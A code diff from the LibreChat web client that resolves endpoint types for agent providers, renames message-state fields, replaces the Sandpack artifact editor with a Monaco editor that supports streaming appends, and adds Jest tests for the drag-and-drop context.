import type { EModelEndpoint } from 'librechat-data-provider'; import type { EModelEndpoint } from 'librechat-data-provider';
import { useGetEndpointsQuery, useGetAgentByIdQuery } from '~/data-provider'; import { useGetEndpointsQuery, useGetAgentByIdQuery } from '~/data-provider';
import { useAgentsMapContext } from './AgentsMapContext'; import { useAgentsMapContext } from './AgentsMapContext';
@ -9,7 +9,7 @@ interface DragDropContextValue {
conversationId: string | null | undefined; conversationId: string | null | undefined;
agentId: string | null | undefined; agentId: string | null | undefined;
endpoint: string | null | undefined; endpoint: string | null | undefined;
endpointType?: EModelEndpoint | undefined; endpointType?: EModelEndpoint | string | undefined;
useResponsesApi?: boolean; useResponsesApi?: boolean;
} }
@ -20,13 +20,6 @@ export function DragDropProvider({ children }: { children: React.ReactNode }) {
const { data: endpointsConfig } = useGetEndpointsQuery(); const { data: endpointsConfig } = useGetEndpointsQuery();
const agentsMap = useAgentsMapContext(); const agentsMap = useAgentsMapContext();
const endpointType = useMemo(() => {
return (
getEndpointField(endpointsConfig, conversation?.endpoint, 'type') ||
(conversation?.endpoint as EModelEndpoint | undefined)
);
}, [conversation?.endpoint, endpointsConfig]);
const needsAgentFetch = useMemo(() => { const needsAgentFetch = useMemo(() => {
const isAgents = isAgentsEndpoint(conversation?.endpoint); const isAgents = isAgentsEndpoint(conversation?.endpoint);
if (!isAgents || !conversation?.agent_id) { if (!isAgents || !conversation?.agent_id) {
@ -40,6 +33,20 @@ export function DragDropProvider({ children }: { children: React.ReactNode }) {
enabled: needsAgentFetch, enabled: needsAgentFetch,
}); });
const agentProvider = useMemo(() => {
const isAgents = isAgentsEndpoint(conversation?.endpoint);
if (!isAgents || !conversation?.agent_id) {
return undefined;
}
const agent = agentData || agentsMap?.[conversation.agent_id];
return agent?.provider;
}, [conversation?.endpoint, conversation?.agent_id, agentData, agentsMap]);
const endpointType = useMemo(
() => resolveEndpointType(endpointsConfig, conversation?.endpoint, agentProvider),
[endpointsConfig, conversation?.endpoint, agentProvider],
);
const useResponsesApi = useMemo(() => { const useResponsesApi = useMemo(() => {
const isAgents = isAgentsEndpoint(conversation?.endpoint); const isAgents = isAgentsEndpoint(conversation?.endpoint);
if (!isAgents || !conversation?.agent_id || conversation?.useResponsesApi) { if (!isAgents || !conversation?.agent_id || conversation?.useResponsesApi) {

View file

@ -18,7 +18,8 @@ interface MessagesViewContextValue {
/** Message state management */ /** Message state management */
index: ReturnType<typeof useChatContext>['index']; index: ReturnType<typeof useChatContext>['index'];
latestMessage: ReturnType<typeof useChatContext>['latestMessage']; latestMessageId: ReturnType<typeof useChatContext>['latestMessageId'];
latestMessageDepth: ReturnType<typeof useChatContext>['latestMessageDepth'];
setLatestMessage: ReturnType<typeof useChatContext>['setLatestMessage']; setLatestMessage: ReturnType<typeof useChatContext>['setLatestMessage'];
getMessages: ReturnType<typeof useChatContext>['getMessages']; getMessages: ReturnType<typeof useChatContext>['getMessages'];
setMessages: ReturnType<typeof useChatContext>['setMessages']; setMessages: ReturnType<typeof useChatContext>['setMessages'];
@ -39,7 +40,8 @@ export function MessagesViewProvider({ children }: { children: React.ReactNode }
regenerate, regenerate,
isSubmitting, isSubmitting,
conversation, conversation,
latestMessage, latestMessageId,
latestMessageDepth,
setAbortScroll, setAbortScroll,
handleContinue, handleContinue,
setLatestMessage, setLatestMessage,
@ -83,10 +85,11 @@ export function MessagesViewProvider({ children }: { children: React.ReactNode }
const messageState = useMemo( const messageState = useMemo(
() => ({ () => ({
index, index,
latestMessage, latestMessageId,
latestMessageDepth,
setLatestMessage, setLatestMessage,
}), }),
[index, latestMessage, setLatestMessage], [index, latestMessageId, latestMessageDepth, setLatestMessage],
); );
/** Combine all values into final context value */ /** Combine all values into final context value */
@ -139,9 +142,9 @@ export function useMessagesOperations() {
/** Hook for components that only need message state */ /** Hook for components that only need message state */
export function useMessagesState() { export function useMessagesState() {
const { index, latestMessage, setLatestMessage } = useMessagesViewContext(); const { index, latestMessageId, latestMessageDepth, setLatestMessage } = useMessagesViewContext();
return useMemo( return useMemo(
() => ({ index, latestMessage, setLatestMessage }), () => ({ index, latestMessageId, latestMessageDepth, setLatestMessage }),
[index, latestMessage, setLatestMessage], [index, latestMessageId, latestMessageDepth, setLatestMessage],
); );
} }

View file

@ -0,0 +1,134 @@
import React from 'react';
import { renderHook } from '@testing-library/react';
import { EModelEndpoint } from 'librechat-data-provider';
import type { TEndpointsConfig, Agent } from 'librechat-data-provider';
import { DragDropProvider, useDragDropContext } from '../DragDropContext';
const mockEndpointsConfig: TEndpointsConfig = {
[EModelEndpoint.openAI]: { userProvide: false, order: 0 },
[EModelEndpoint.agents]: { userProvide: false, order: 1 },
[EModelEndpoint.anthropic]: { userProvide: false, order: 6 },
Moonshot: { type: EModelEndpoint.custom, userProvide: false, order: 9999 },
'Some Endpoint': { type: EModelEndpoint.custom, userProvide: false, order: 9999 },
};
let mockConversation: Record<string, unknown> | null = null;
let mockAgentsMap: Record<string, Partial<Agent>> = {};
let mockAgentQueryData: Partial<Agent> | undefined;
jest.mock('~/data-provider', () => ({
useGetEndpointsQuery: () => ({ data: mockEndpointsConfig }),
useGetAgentByIdQuery: () => ({ data: mockAgentQueryData }),
}));
jest.mock('../AgentsMapContext', () => ({
useAgentsMapContext: () => mockAgentsMap,
}));
jest.mock('../ChatContext', () => ({
useChatContext: () => ({ conversation: mockConversation }),
}));
function wrapper({ children }: { children: React.ReactNode }) {
return <DragDropProvider>{children}</DragDropProvider>;
}
describe('DragDropContext endpointType resolution', () => {
beforeEach(() => {
mockConversation = null;
mockAgentsMap = {};
mockAgentQueryData = undefined;
});
describe('non-agents endpoints', () => {
it('resolves custom endpoint type for a custom endpoint', () => {
mockConversation = { endpoint: 'Moonshot' };
const { result } = renderHook(() => useDragDropContext(), { wrapper });
expect(result.current.endpointType).toBe(EModelEndpoint.custom);
});
it('resolves endpoint name for a standard endpoint', () => {
mockConversation = { endpoint: EModelEndpoint.openAI };
const { result } = renderHook(() => useDragDropContext(), { wrapper });
expect(result.current.endpointType).toBe(EModelEndpoint.openAI);
});
});
describe('agents endpoint with provider from agentsMap', () => {
it('resolves to custom for agent with Moonshot provider', () => {
mockConversation = { endpoint: EModelEndpoint.agents, agent_id: 'agent-1' };
mockAgentsMap = {
'agent-1': { provider: 'Moonshot', model_parameters: {} } as Partial<Agent>,
};
const { result } = renderHook(() => useDragDropContext(), { wrapper });
expect(result.current.endpointType).toBe(EModelEndpoint.custom);
});
it('resolves to custom for agent with custom provider with spaces', () => {
mockConversation = { endpoint: EModelEndpoint.agents, agent_id: 'agent-1' };
mockAgentsMap = {
'agent-1': { provider: 'Some Endpoint', model_parameters: {} } as Partial<Agent>,
};
const { result } = renderHook(() => useDragDropContext(), { wrapper });
expect(result.current.endpointType).toBe(EModelEndpoint.custom);
});
it('resolves to openAI for agent with openAI provider', () => {
mockConversation = { endpoint: EModelEndpoint.agents, agent_id: 'agent-1' };
mockAgentsMap = {
'agent-1': { provider: EModelEndpoint.openAI, model_parameters: {} } as Partial<Agent>,
};
const { result } = renderHook(() => useDragDropContext(), { wrapper });
expect(result.current.endpointType).toBe(EModelEndpoint.openAI);
});
it('resolves to anthropic for agent with anthropic provider', () => {
mockConversation = { endpoint: EModelEndpoint.agents, agent_id: 'agent-1' };
mockAgentsMap = {
'agent-1': { provider: EModelEndpoint.anthropic, model_parameters: {} } as Partial<Agent>,
};
const { result } = renderHook(() => useDragDropContext(), { wrapper });
expect(result.current.endpointType).toBe(EModelEndpoint.anthropic);
});
});
describe('agents endpoint with provider from agentData query', () => {
it('uses agentData when agent is not in agentsMap', () => {
mockConversation = { endpoint: EModelEndpoint.agents, agent_id: 'agent-2' };
mockAgentsMap = {};
mockAgentQueryData = { provider: 'Moonshot' } as Partial<Agent>;
const { result } = renderHook(() => useDragDropContext(), { wrapper });
expect(result.current.endpointType).toBe(EModelEndpoint.custom);
});
});
describe('agents endpoint without provider', () => {
it('falls back to agents when no agent_id', () => {
mockConversation = { endpoint: EModelEndpoint.agents };
const { result } = renderHook(() => useDragDropContext(), { wrapper });
expect(result.current.endpointType).toBe(EModelEndpoint.agents);
});
it('falls back to agents when agent has no provider', () => {
mockConversation = { endpoint: EModelEndpoint.agents, agent_id: 'agent-1' };
mockAgentsMap = { 'agent-1': { model_parameters: {} } as Partial<Agent> };
const { result } = renderHook(() => useDragDropContext(), { wrapper });
expect(result.current.endpointType).toBe(EModelEndpoint.agents);
});
});
describe('consistency: same endpoint type whether used directly or through agents', () => {
it('Moonshot resolves to the same type as direct endpoint and as agent provider', () => {
mockConversation = { endpoint: 'Moonshot' };
const { result: directResult } = renderHook(() => useDragDropContext(), { wrapper });
mockConversation = { endpoint: EModelEndpoint.agents, agent_id: 'agent-1' };
mockAgentsMap = {
'agent-1': { provider: 'Moonshot', model_parameters: {} } as Partial<Agent>,
};
const { result: agentResult } = renderHook(() => useDragDropContext(), { wrapper });
expect(directResult.current.endpointType).toBe(agentResult.current.endpointType);
});
});
});

View file

@ -56,10 +56,13 @@ const LiveAnnouncer: React.FC<LiveAnnouncerProps> = ({ children }) => {
const announceAssertive = announcePolite; const announceAssertive = announcePolite;
const contextValue = { const contextValue = useMemo(
announcePolite, () => ({
announceAssertive, announcePolite,
}; announceAssertive,
}),
[announcePolite, announceAssertive],
);
useEffect(() => { useEffect(() => {
return () => { return () => {

View file

@ -1,206 +1,326 @@
import React, { useMemo, useState, useEffect, useRef, memo } from 'react'; import React, { useMemo, useState, useEffect, useRef, useCallback } from 'react';
import debounce from 'lodash/debounce'; import debounce from 'lodash/debounce';
import { KeyBinding } from '@codemirror/view'; import MonacoEditor from '@monaco-editor/react';
import { autocompletion, completionKeymap } from '@codemirror/autocomplete'; import type { Monaco } from '@monaco-editor/react';
import { import type { editor } from 'monaco-editor';
useSandpack, import type { Artifact } from '~/common';
SandpackCodeEditor,
SandpackProvider as StyledProvider,
} from '@codesandbox/sandpack-react';
import type { SandpackProviderProps } from '@codesandbox/sandpack-react/unstyled';
import type { SandpackBundlerFile } from '@codesandbox/sandpack-client';
import type { CodeEditorRef } from '@codesandbox/sandpack-react';
import type { ArtifactFiles, Artifact } from '~/common';
import { useEditArtifact, useGetStartupConfig } from '~/data-provider';
import { useMutationState, useCodeState } from '~/Providers/EditorContext'; import { useMutationState, useCodeState } from '~/Providers/EditorContext';
import { useArtifactsContext } from '~/Providers'; import { useArtifactsContext } from '~/Providers';
import { sharedFiles, sharedOptions } from '~/utils/artifacts'; import { useEditArtifact } from '~/data-provider';
const CodeEditor = memo( const LANG_MAP: Record<string, string> = {
({ javascript: 'javascript',
fileKey, typescript: 'typescript',
readOnly, python: 'python',
artifact, css: 'css',
editorRef, json: 'json',
}: { markdown: 'markdown',
fileKey: string; html: 'html',
readOnly?: boolean; xml: 'xml',
artifact: Artifact; sql: 'sql',
editorRef: React.MutableRefObject<CodeEditorRef>; yaml: 'yaml',
}) => { shell: 'shell',
const { sandpack } = useSandpack(); bash: 'shell',
const [currentUpdate, setCurrentUpdate] = useState<string | null>(null); tsx: 'typescript',
const { isMutating, setIsMutating } = useMutationState(); jsx: 'javascript',
const { setCurrentCode } = useCodeState(); c: 'c',
const editArtifact = useEditArtifact({ cpp: 'cpp',
onMutate: (vars) => { java: 'java',
setIsMutating(true); go: 'go',
setCurrentUpdate(vars.updated); rust: 'rust',
}, kotlin: 'kotlin',
onSuccess: () => { swift: 'swift',
setIsMutating(false); php: 'php',
setCurrentUpdate(null); ruby: 'ruby',
}, r: 'r',
onError: () => { lua: 'lua',
setIsMutating(false); scala: 'scala',
}, perl: 'perl',
}); };
/** const TYPE_MAP: Record<string, string> = {
* Create stable debounced mutation that doesn't depend on changing callbacks 'text/html': 'html',
* Use refs to always access the latest values without recreating the debounce 'application/vnd.code-html': 'html',
*/ 'application/vnd.react': 'typescript',
const artifactRef = useRef(artifact); 'application/vnd.ant.react': 'typescript',
const isMutatingRef = useRef(isMutating); 'text/markdown': 'markdown',
const currentUpdateRef = useRef(currentUpdate); 'text/md': 'markdown',
const editArtifactRef = useRef(editArtifact); 'text/plain': 'plaintext',
const setCurrentCodeRef = useRef(setCurrentCode); 'application/vnd.mermaid': 'markdown',
};
useEffect(() => { function getMonacoLanguage(type?: string, language?: string): string {
artifactRef.current = artifact; if (language && LANG_MAP[language]) {
}, [artifact]); return LANG_MAP[language];
}
return TYPE_MAP[type ?? ''] ?? 'plaintext';
}
useEffect(() => { export const ArtifactCodeEditor = function ArtifactCodeEditor({
isMutatingRef.current = isMutating;
}, [isMutating]);
useEffect(() => {
currentUpdateRef.current = currentUpdate;
}, [currentUpdate]);
useEffect(() => {
editArtifactRef.current = editArtifact;
}, [editArtifact]);
useEffect(() => {
setCurrentCodeRef.current = setCurrentCode;
}, [setCurrentCode]);
/**
* Create debounced mutation once - never recreate it
* All values are accessed via refs so they're always current
*/
const debouncedMutation = useMemo(
() =>
debounce((code: string) => {
if (readOnly) {
return;
}
if (isMutatingRef.current) {
return;
}
if (artifactRef.current.index == null) {
return;
}
const artifact = artifactRef.current;
const artifactIndex = artifact.index;
const isNotOriginal =
code && artifact.content != null && code.trim() !== artifact.content.trim();
const isNotRepeated =
currentUpdateRef.current == null
? true
: code != null && code.trim() !== currentUpdateRef.current.trim();
if (artifact.content && isNotOriginal && isNotRepeated && artifactIndex != null) {
setCurrentCodeRef.current(code);
editArtifactRef.current.mutate({
index: artifactIndex,
messageId: artifact.messageId ?? '',
original: artifact.content,
updated: code,
});
}
}, 500),
[readOnly],
);
/**
* Listen to Sandpack file changes and trigger debounced mutation
*/
useEffect(() => {
const currentCode = (sandpack.files['/' + fileKey] as SandpackBundlerFile | undefined)?.code;
if (currentCode) {
debouncedMutation(currentCode);
}
}, [sandpack.files, fileKey, debouncedMutation]);
/**
* Cleanup: cancel pending mutations when component unmounts or artifact changes
*/
useEffect(() => {
return () => {
debouncedMutation.cancel();
};
}, [artifact.id, debouncedMutation]);
return (
<SandpackCodeEditor
ref={editorRef}
showTabs={false}
showRunButton={false}
showLineNumbers={true}
showInlineErrors={true}
readOnly={readOnly === true}
extensions={[autocompletion()]}
extensionsKeymap={Array.from<KeyBinding>(completionKeymap)}
className="hljs language-javascript bg-black"
/>
);
},
);
export const ArtifactCodeEditor = function ({
files,
fileKey,
template,
artifact, artifact,
editorRef, monacoRef,
sharedProps,
readOnly: externalReadOnly, readOnly: externalReadOnly,
}: { }: {
fileKey: string;
artifact: Artifact; artifact: Artifact;
files: ArtifactFiles; monacoRef: React.MutableRefObject<editor.IStandaloneCodeEditor | null>;
template: SandpackProviderProps['template'];
sharedProps: Partial<SandpackProviderProps>;
editorRef: React.MutableRefObject<CodeEditorRef>;
readOnly?: boolean; readOnly?: boolean;
}) { }) {
const { data: config } = useGetStartupConfig();
const { isSubmitting } = useArtifactsContext(); const { isSubmitting } = useArtifactsContext();
const options: typeof sharedOptions = useMemo(() => { const readOnly = (externalReadOnly ?? false) || isSubmitting;
if (!config) { const { setCurrentCode } = useCodeState();
return sharedOptions; const [currentUpdate, setCurrentUpdate] = useState<string | null>(null);
} const { isMutating, setIsMutating } = useMutationState();
return { const editArtifact = useEditArtifact({
...sharedOptions, onMutate: (vars) => {
activeFile: '/' + fileKey, setIsMutating(true);
bundlerURL: template === 'static' ? config.staticBundlerURL : config.bundlerURL, setCurrentUpdate(vars.updated);
}; },
}, [config, template, fileKey]); onSuccess: () => {
const initialReadOnly = (externalReadOnly ?? false) || (isSubmitting ?? false); setIsMutating(false);
const [readOnly, setReadOnly] = useState(initialReadOnly); setCurrentUpdate(null);
useEffect(() => { },
setReadOnly((externalReadOnly ?? false) || (isSubmitting ?? false)); onError: () => {
}, [isSubmitting, externalReadOnly]); setIsMutating(false);
},
});
if (Object.keys(files).length === 0) { const artifactRef = useRef(artifact);
const isMutatingRef = useRef(isMutating);
const currentUpdateRef = useRef(currentUpdate);
const editArtifactRef = useRef(editArtifact);
const setCurrentCodeRef = useRef(setCurrentCode);
const prevContentRef = useRef(artifact.content ?? '');
const prevArtifactId = useRef(artifact.id);
const prevReadOnly = useRef(readOnly);
artifactRef.current = artifact;
isMutatingRef.current = isMutating;
currentUpdateRef.current = currentUpdate;
editArtifactRef.current = editArtifact;
setCurrentCodeRef.current = setCurrentCode;
const debouncedMutation = useMemo(
() =>
debounce((code: string) => {
if (readOnly || isMutatingRef.current || artifactRef.current.index == null) {
return;
}
const art = artifactRef.current;
const isNotOriginal = art.content != null && code.trim() !== art.content.trim();
const isNotRepeated =
currentUpdateRef.current == null ? true : code.trim() !== currentUpdateRef.current.trim();
if (art.content != null && isNotOriginal && isNotRepeated && art.index != null) {
setCurrentCodeRef.current(code);
editArtifactRef.current.mutate({
index: art.index,
messageId: art.messageId ?? '',
original: art.content,
updated: code,
});
}
}, 500),
[readOnly],
);
useEffect(() => {
return () => debouncedMutation.cancel();
}, [artifact.id, debouncedMutation]);
/**
* Streaming: use model.applyEdits() to append new content.
* Unlike setValue/pushEditOperations, applyEdits preserves existing
* tokens so syntax highlighting doesn't flash during updates.
*/
useEffect(() => {
const ed = monacoRef.current;
if (!ed || !readOnly) {
return;
}
const newContent = artifact.content ?? '';
const prev = prevContentRef.current;
if (newContent === prev) {
return;
}
const model = ed.getModel();
if (!model) {
return;
}
if (newContent.startsWith(prev) && prev.length > 0) {
const appended = newContent.slice(prev.length);
const endPos = model.getPositionAt(model.getValueLength());
model.applyEdits([
{
range: {
startLineNumber: endPos.lineNumber,
startColumn: endPos.column,
endLineNumber: endPos.lineNumber,
endColumn: endPos.column,
},
text: appended,
},
]);
} else {
model.setValue(newContent);
}
prevContentRef.current = newContent;
ed.revealLine(model.getLineCount());
}, [artifact.content, readOnly, monacoRef]);
useEffect(() => {
if (artifact.id === prevArtifactId.current) {
return;
}
prevArtifactId.current = artifact.id;
prevContentRef.current = artifact.content ?? '';
const ed = monacoRef.current;
if (ed && artifact.content != null) {
ed.getModel()?.setValue(artifact.content);
}
}, [artifact.id, artifact.content, monacoRef]);
useEffect(() => {
if (prevReadOnly.current && !readOnly && artifact.content != null) {
const ed = monacoRef.current;
if (ed) {
ed.getModel()?.setValue(artifact.content);
prevContentRef.current = artifact.content;
}
}
prevReadOnly.current = readOnly;
}, [readOnly, artifact.content, monacoRef]);
const handleChange = useCallback(
(value: string | undefined) => {
if (value === undefined || readOnly) {
return;
}
prevContentRef.current = value;
setCurrentCode(value);
if (value.length > 0) {
debouncedMutation(value);
}
},
[readOnly, debouncedMutation, setCurrentCode],
);
/**
* Disable all validation this is an artifact viewer/editor, not an IDE.
* Note: these are global Monaco settings that affect all editor instances on the page.
* The `as unknown` cast is required because monaco-editor v0.55 types `.languages.typescript`
* as `{ deprecated: true }` while the runtime API is fully functional.
*/
const handleBeforeMount = useCallback((monaco: Monaco) => {
const { typescriptDefaults, javascriptDefaults, JsxEmit } = monaco.languages
.typescript as unknown as {
typescriptDefaults: {
setDiagnosticsOptions: (o: {
noSemanticValidation: boolean;
noSyntaxValidation: boolean;
}) => void;
setCompilerOptions: (o: {
allowNonTsExtensions: boolean;
allowJs: boolean;
jsx: number;
}) => void;
};
javascriptDefaults: {
setDiagnosticsOptions: (o: {
noSemanticValidation: boolean;
noSyntaxValidation: boolean;
}) => void;
setCompilerOptions: (o: {
allowNonTsExtensions: boolean;
allowJs: boolean;
jsx: number;
}) => void;
};
JsxEmit: { React: number };
};
const diagnosticsOff = { noSemanticValidation: true, noSyntaxValidation: true };
const compilerBase = { allowNonTsExtensions: true, allowJs: true, jsx: JsxEmit.React };
typescriptDefaults.setDiagnosticsOptions(diagnosticsOff);
javascriptDefaults.setDiagnosticsOptions(diagnosticsOff);
typescriptDefaults.setCompilerOptions(compilerBase);
javascriptDefaults.setCompilerOptions(compilerBase);
}, []);
const handleMount = useCallback(
(ed: editor.IStandaloneCodeEditor) => {
monacoRef.current = ed;
prevContentRef.current = ed.getModel()?.getValue() ?? artifact.content ?? '';
if (readOnly) {
const model = ed.getModel();
if (model) {
ed.revealLine(model.getLineCount());
}
}
},
// eslint-disable-next-line react-hooks/exhaustive-deps
[monacoRef],
);
const language = getMonacoLanguage(artifact.type, artifact.language);
const editorOptions = useMemo<editor.IStandaloneEditorConstructionOptions>(
() => ({
readOnly,
minimap: { enabled: false },
lineNumbers: 'on',
scrollBeyondLastLine: false,
fontSize: 13,
tabSize: 2,
wordWrap: 'on',
automaticLayout: true,
padding: { top: 8 },
renderLineHighlight: readOnly ? 'none' : 'line',
cursorStyle: readOnly ? 'underline-thin' : 'line',
scrollbar: {
vertical: 'visible',
horizontal: 'auto',
verticalScrollbarSize: 8,
horizontalScrollbarSize: 8,
useShadows: false,
alwaysConsumeMouseWheel: false,
},
overviewRulerLanes: 0,
hideCursorInOverviewRuler: true,
overviewRulerBorder: false,
folding: false,
glyphMargin: false,
colorDecorators: !readOnly,
occurrencesHighlight: readOnly ? 'off' : 'singleFile',
selectionHighlight: !readOnly,
renderValidationDecorations: readOnly ? 'off' : 'editable',
quickSuggestions: !readOnly,
suggestOnTriggerCharacters: !readOnly,
parameterHints: { enabled: !readOnly },
hover: { enabled: !readOnly },
matchBrackets: readOnly ? 'never' : 'always',
}),
[readOnly],
);
if (!artifact.content) {
return null; return null;
} }
return ( return (
<StyledProvider <div className="h-full w-full bg-[#1e1e1e]">
theme="dark" <MonacoEditor
files={{ height="100%"
...files, language={readOnly ? 'plaintext' : language}
...sharedFiles, theme="vs-dark"
}} defaultValue={artifact.content}
options={options} onChange={handleChange}
{...sharedProps} beforeMount={handleBeforeMount}
template={template} onMount={handleMount}
> options={editorOptions}
<CodeEditor fileKey={fileKey} artifact={artifact} editorRef={editorRef} readOnly={readOnly} /> />
</StyledProvider> </div>
); );
}; };

View file

@ -1,30 +1,26 @@
import { useRef, useEffect } from 'react'; import { useRef, useEffect } from 'react';
import * as Tabs from '@radix-ui/react-tabs'; import * as Tabs from '@radix-ui/react-tabs';
import type { SandpackPreviewRef } from '@codesandbox/sandpack-react/unstyled'; import type { SandpackPreviewRef } from '@codesandbox/sandpack-react/unstyled';
import type { CodeEditorRef } from '@codesandbox/sandpack-react'; import type { editor } from 'monaco-editor';
import type { Artifact } from '~/common'; import type { Artifact } from '~/common';
import { useCodeState } from '~/Providers/EditorContext'; import { useCodeState } from '~/Providers/EditorContext';
import { useArtifactsContext } from '~/Providers';
import useArtifactProps from '~/hooks/Artifacts/useArtifactProps'; import useArtifactProps from '~/hooks/Artifacts/useArtifactProps';
import { useAutoScroll } from '~/hooks/Artifacts/useAutoScroll';
import { ArtifactCodeEditor } from './ArtifactCodeEditor'; import { ArtifactCodeEditor } from './ArtifactCodeEditor';
import { useGetStartupConfig } from '~/data-provider'; import { useGetStartupConfig } from '~/data-provider';
import { ArtifactPreview } from './ArtifactPreview'; import { ArtifactPreview } from './ArtifactPreview';
export default function ArtifactTabs({ export default function ArtifactTabs({
artifact, artifact,
editorRef,
previewRef, previewRef,
isSharedConvo, isSharedConvo,
}: { }: {
artifact: Artifact; artifact: Artifact;
editorRef: React.MutableRefObject<CodeEditorRef>;
previewRef: React.MutableRefObject<SandpackPreviewRef>; previewRef: React.MutableRefObject<SandpackPreviewRef>;
isSharedConvo?: boolean; isSharedConvo?: boolean;
}) { }) {
const { isSubmitting } = useArtifactsContext();
const { currentCode, setCurrentCode } = useCodeState(); const { currentCode, setCurrentCode } = useCodeState();
const { data: startupConfig } = useGetStartupConfig(); const { data: startupConfig } = useGetStartupConfig();
const monacoRef = useRef<editor.IStandaloneCodeEditor | null>(null);
const lastIdRef = useRef<string | null>(null); const lastIdRef = useRef<string | null>(null);
useEffect(() => { useEffect(() => {
@ -34,33 +30,24 @@ export default function ArtifactTabs({
lastIdRef.current = artifact.id; lastIdRef.current = artifact.id;
}, [setCurrentCode, artifact.id]); }, [setCurrentCode, artifact.id]);
const content = artifact.content ?? '';
const contentRef = useRef<HTMLDivElement>(null);
useAutoScroll({ ref: contentRef, content, isSubmitting });
const { files, fileKey, template, sharedProps } = useArtifactProps({ artifact }); const { files, fileKey, template, sharedProps } = useArtifactProps({ artifact });
return ( return (
<div className="flex h-full w-full flex-col"> <div className="flex h-full w-full flex-col">
<Tabs.Content <Tabs.Content
ref={contentRef}
value="code" value="code"
id="artifacts-code" id="artifacts-code"
className="h-full w-full flex-grow overflow-auto" className="h-full w-full flex-grow overflow-auto"
tabIndex={-1} tabIndex={-1}
> >
<ArtifactCodeEditor <ArtifactCodeEditor artifact={artifact} monacoRef={monacoRef} readOnly={isSharedConvo} />
files={files}
fileKey={fileKey}
template={template}
artifact={artifact}
editorRef={editorRef}
sharedProps={sharedProps}
readOnly={isSharedConvo}
/>
</Tabs.Content> </Tabs.Content>
<Tabs.Content value="preview" className="h-full w-full flex-grow overflow-auto" tabIndex={-1}> <Tabs.Content
value="preview"
className="h-full w-full flex-grow overflow-hidden"
tabIndex={-1}
>
<ArtifactPreview <ArtifactPreview
files={files} files={files}
fileKey={fileKey} fileKey={fileKey}

View file

@ -3,7 +3,7 @@ import * as Tabs from '@radix-ui/react-tabs';
import { Code, Play, RefreshCw, X } from 'lucide-react'; import { Code, Play, RefreshCw, X } from 'lucide-react';
import { useSetRecoilState, useResetRecoilState } from 'recoil'; import { useSetRecoilState, useResetRecoilState } from 'recoil';
import { Button, Spinner, useMediaQuery, Radio } from '@librechat/client'; import { Button, Spinner, useMediaQuery, Radio } from '@librechat/client';
import type { SandpackPreviewRef, CodeEditorRef } from '@codesandbox/sandpack-react'; import type { SandpackPreviewRef } from '@codesandbox/sandpack-react';
import { useShareContext, useMutationState } from '~/Providers'; import { useShareContext, useMutationState } from '~/Providers';
import useArtifacts from '~/hooks/Artifacts/useArtifacts'; import useArtifacts from '~/hooks/Artifacts/useArtifacts';
import DownloadArtifact from './DownloadArtifact'; import DownloadArtifact from './DownloadArtifact';
@ -22,7 +22,6 @@ export default function Artifacts() {
const { isMutating } = useMutationState(); const { isMutating } = useMutationState();
const { isSharedConvo } = useShareContext(); const { isSharedConvo } = useShareContext();
const isMobile = useMediaQuery('(max-width: 868px)'); const isMobile = useMediaQuery('(max-width: 868px)');
const editorRef = useRef<CodeEditorRef>();
const previewRef = useRef<SandpackPreviewRef>(); const previewRef = useRef<SandpackPreviewRef>();
const [isVisible, setIsVisible] = useState(false); const [isVisible, setIsVisible] = useState(false);
const [isClosing, setIsClosing] = useState(false); const [isClosing, setIsClosing] = useState(false);
@ -297,7 +296,6 @@ export default function Artifacts() {
<div className="absolute inset-0 flex flex-col"> <div className="absolute inset-0 flex flex-col">
<ArtifactTabs <ArtifactTabs
artifact={currentArtifact} artifact={currentArtifact}
editorRef={editorRef as React.MutableRefObject<CodeEditorRef>}
previewRef={previewRef as React.MutableRefObject<SandpackPreviewRef>} previewRef={previewRef as React.MutableRefObject<SandpackPreviewRef>}
isSharedConvo={isSharedConvo} isSharedConvo={isSharedConvo}
/> />

View file

@ -1,11 +1,8 @@
import React, { memo, useEffect, useRef, useState } from 'react'; import React, { memo, useState } from 'react';
import copy from 'copy-to-clipboard'; import copy from 'copy-to-clipboard';
import rehypeKatex from 'rehype-katex';
import ReactMarkdown from 'react-markdown';
import { Button } from '@librechat/client'; import { Button } from '@librechat/client';
import rehypeHighlight from 'rehype-highlight';
import { Copy, CircleCheckBig } from 'lucide-react'; import { Copy, CircleCheckBig } from 'lucide-react';
import { handleDoubleClick, langSubset } from '~/utils'; import { handleDoubleClick } from '~/utils';
import { useLocalize } from '~/hooks'; import { useLocalize } from '~/hooks';
type TCodeProps = { type TCodeProps = {
@ -29,74 +26,6 @@ export const code: React.ElementType = memo(({ inline, className, children }: TC
return <code className={`hljs language-${lang} !whitespace-pre`}>{children}</code>; return <code className={`hljs language-${lang} !whitespace-pre`}>{children}</code>;
}); });
export const CodeMarkdown = memo(
({ content = '', isSubmitting }: { content: string; isSubmitting: boolean }) => {
const scrollRef = useRef<HTMLDivElement>(null);
const [userScrolled, setUserScrolled] = useState(false);
const currentContent = content;
const rehypePlugins = [
[rehypeKatex],
[
rehypeHighlight,
{
detect: true,
ignoreMissing: true,
subset: langSubset,
},
],
];
useEffect(() => {
const scrollContainer = scrollRef.current;
if (!scrollContainer) {
return;
}
const handleScroll = () => {
const { scrollTop, scrollHeight, clientHeight } = scrollContainer;
const isNearBottom = scrollHeight - scrollTop - clientHeight < 50;
if (!isNearBottom) {
setUserScrolled(true);
} else {
setUserScrolled(false);
}
};
scrollContainer.addEventListener('scroll', handleScroll);
return () => {
scrollContainer.removeEventListener('scroll', handleScroll);
};
}, []);
useEffect(() => {
const scrollContainer = scrollRef.current;
if (!scrollContainer || !isSubmitting || userScrolled) {
return;
}
scrollContainer.scrollTop = scrollContainer.scrollHeight;
}, [content, isSubmitting, userScrolled]);
return (
<div ref={scrollRef} className="max-h-full overflow-y-auto">
<ReactMarkdown
/* @ts-ignore */
rehypePlugins={rehypePlugins}
components={
{ code } as {
[key: string]: React.ElementType;
}
}
>
{currentContent}
</ReactMarkdown>
</div>
);
},
);
export const CopyCodeButton: React.FC<{ content: string }> = ({ content }) => { export const CopyCodeButton: React.FC<{ content: string }> = ({ content }) => {
const localize = useLocalize(); const localize = useLocalize();
const [isCopied, setIsCopied] = useState(false); const [isCopied, setIsCopied] = useState(false);

View file

@ -1,17 +1,21 @@
import { useCallback } from 'react';
import { useSetRecoilState, useRecoilValue } from 'recoil';
import { PlusCircle } from 'lucide-react'; import { PlusCircle } from 'lucide-react';
import { TooltipAnchor } from '@librechat/client'; import { TooltipAnchor } from '@librechat/client';
import { isAssistantsEndpoint } from 'librechat-data-provider'; import { isAssistantsEndpoint } from 'librechat-data-provider';
import type { TConversation } from 'librechat-data-provider'; import type { TConversation } from 'librechat-data-provider';
